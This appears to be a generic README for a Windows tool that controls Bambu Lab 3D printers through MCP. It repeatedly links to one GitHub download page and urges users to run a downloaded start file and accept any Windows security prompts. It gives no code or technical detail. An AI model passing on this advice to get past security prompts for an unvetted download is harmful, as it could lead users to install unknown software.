Control Bambu Lab printers, edit STL files, and manage 3MF print workflows with an MCP server for Claude and other MCP clients
🤖 bambu-printer-mcp - Control Bambu printers with ease
🖥️ What this app does
bambu-printer-mcp helps you work with a Bambu Lab 3D printer from your computer. It can help with STL files, slicing in BambuStudio, and direct printer control.
Use it to:
- Prepare 3D models for printing
- Send jobs to a Bambu Lab printer
- Check printer status
- Work with STL and 3MF files
- Connect printer actions to other tools through MCP
📦 What you need
Before you install the app, make sure you have:
- A Windows PC
- A Bambu Lab 3D printer
- Bambu Studio installed
- A stable network connection
- Enough free disk space for model files and print jobs
🚀 Getting Started
- Open the project page: https://github.com/offthehook-implication870/bambu-printer-mcp
- Download or clone the project from that page
- Install the required files on your Windows PC
- Open the app or start the server
- Connect it to your Bambu Lab printer
- Test a simple model or printer command
⬇️ Download and install
Visit this page to download and set up the software:
https://github.com/offthehook-implication870/bambu-printer-mcp
If you see a releases area, get the latest Windows package from there. If the project page gives you source files, download the project files and place them in a folder on your PC.
After you download it:
- Right-click the file or folder
- Choose Extract All if it is a ZIP file
- Move the files to a folder you can find again
- Keep Bambu Studio installed on the same PC
- Open the setup steps from the project page and follow them in order
🔧 Basic setup
- Open the project folder
- Find the start file or setup file
- Run it on your Windows PC
- Allow Windows to finish any security prompt if it appears
- Enter your printer details if asked
- Start BambuStudio if the app asks for it
- Check that the printer shows as connected
🧩 How it fits into your workflow
This tool is useful when you want one place to handle print tasks.
It can help you:
- Load an STL file
- Prepare the model for slicing
- Send the sliced job to your printer
- Check print progress
- Handle printer commands from another tool that supports MCP
If you already use Bambu Studio, this app can work beside it and make routine steps easier to manage.
🧰 Main features
- STL file handling
- 3MF support
- BambuStudio slicing support
- Direct printer control
- MQTT-based printer communication
- MCP support for linked tools
- Help with printer tasks from your desktop
- Simple setup for Windows users
🗂️ File types you may use
You may work with these file types:
- STL
- 3MF
- Project files from Bambu Studio
- Print profiles
- G-code related files, when used in your workflow
🪟 Windows use
This project is made for people who want to run it on Windows.
Typical steps on Windows:
- Download the project
- Put it in a folder
- Install any needed tools
- Start the server or app
- Connect your printer
- Begin a test print or check printer status
If Windows asks for permission, allow the app to run so it can reach your printer and local files.
🔌 Printer connection
To connect your Bambu Lab printer:
- Make sure the printer is on the same network
- Check the printer IP address or connection method
- Follow the project setup for login or pairing
- Confirm the printer appears as ready
- Try a simple status check before sending a print
If you have more than one printer, set them up one at a time so you can verify each connection.
🧠 Using with other tools
bambu-printer-mcp works as an MCP server. That means other tools can talk to it and ask it to do printer-related tasks.
This can help you:
- Automate print steps
- Link printer actions to your own local tools
- Build a smoother workflow for 3D printing
- Keep model prep and printer control in one chain
🛠️ Common tasks
Load a model
- Open the app or server
- Choose your STL or 3MF file
- Confirm the model is ready for slicing
Slice a model
- Open the model in BambuStudio
- Pick a print profile
- Start slicing
- Save or send the result
Send to printer
- Choose the printer
- Review the job
- Start the print
Check printer status
- Open the status view
- Look at the current job
- Confirm temperatures and connection state
📁 Suggested folder setup
A simple folder layout can help:
C:\3D-Printing\bambu-printer-mcpC:\3D-Printing\ModelsC:\3D-Printing\ExportsC:\3D-Printing\Profiles
This makes it easier to find files later.
🧪 First test
After setup, try this:
- Open a small STL file
- Slice it in BambuStudio
- Send a short test job to the printer
- Watch the printer status
- Confirm the job starts as expected
Use a small model first so you can check your setup without wasting time or material.
❓ Troubleshooting
The printer does not connect
- Check that the printer is on
- Check the network connection
- Confirm the IP address or pairing details
- Restart the app and try again
BambuStudio does not start
- Check that BambuStudio is installed
- Open it once by hand
- Make sure Windows did not block it
Files do not open
- Check that the file is STL or 3MF
- Move the file to a simple folder path
- Avoid folder names with special characters
The job does not send
- Check the printer state
- Make sure the model finished slicing
- Confirm there is enough space on the printer side
- Try a fresh start of the app and printer
🔒 Local use
This project is meant for your own printer setup on your local computer or network. Keep your printer details private and store your files in a folder you control.
📚 Project topics
This repository includes tools and ideas related to:
- 3D printing
- Bambu Lab printers
- Bambu Studio
- STL tools
- Slicer workflows
- MQTT
- FTP
- Blender
- MCP
- Model Context Protocol
- Printer control
🧭 Best results
For the smoothest setup:
- Use a clean Windows folder
- Keep BambuStudio updated
- Start with one printer
- Test with a small model
- Read the project page before changing settings
📥 Download again
If you need the project page again, use this link:
https://github.com/offthehook-implication870/bambu-printer-mcp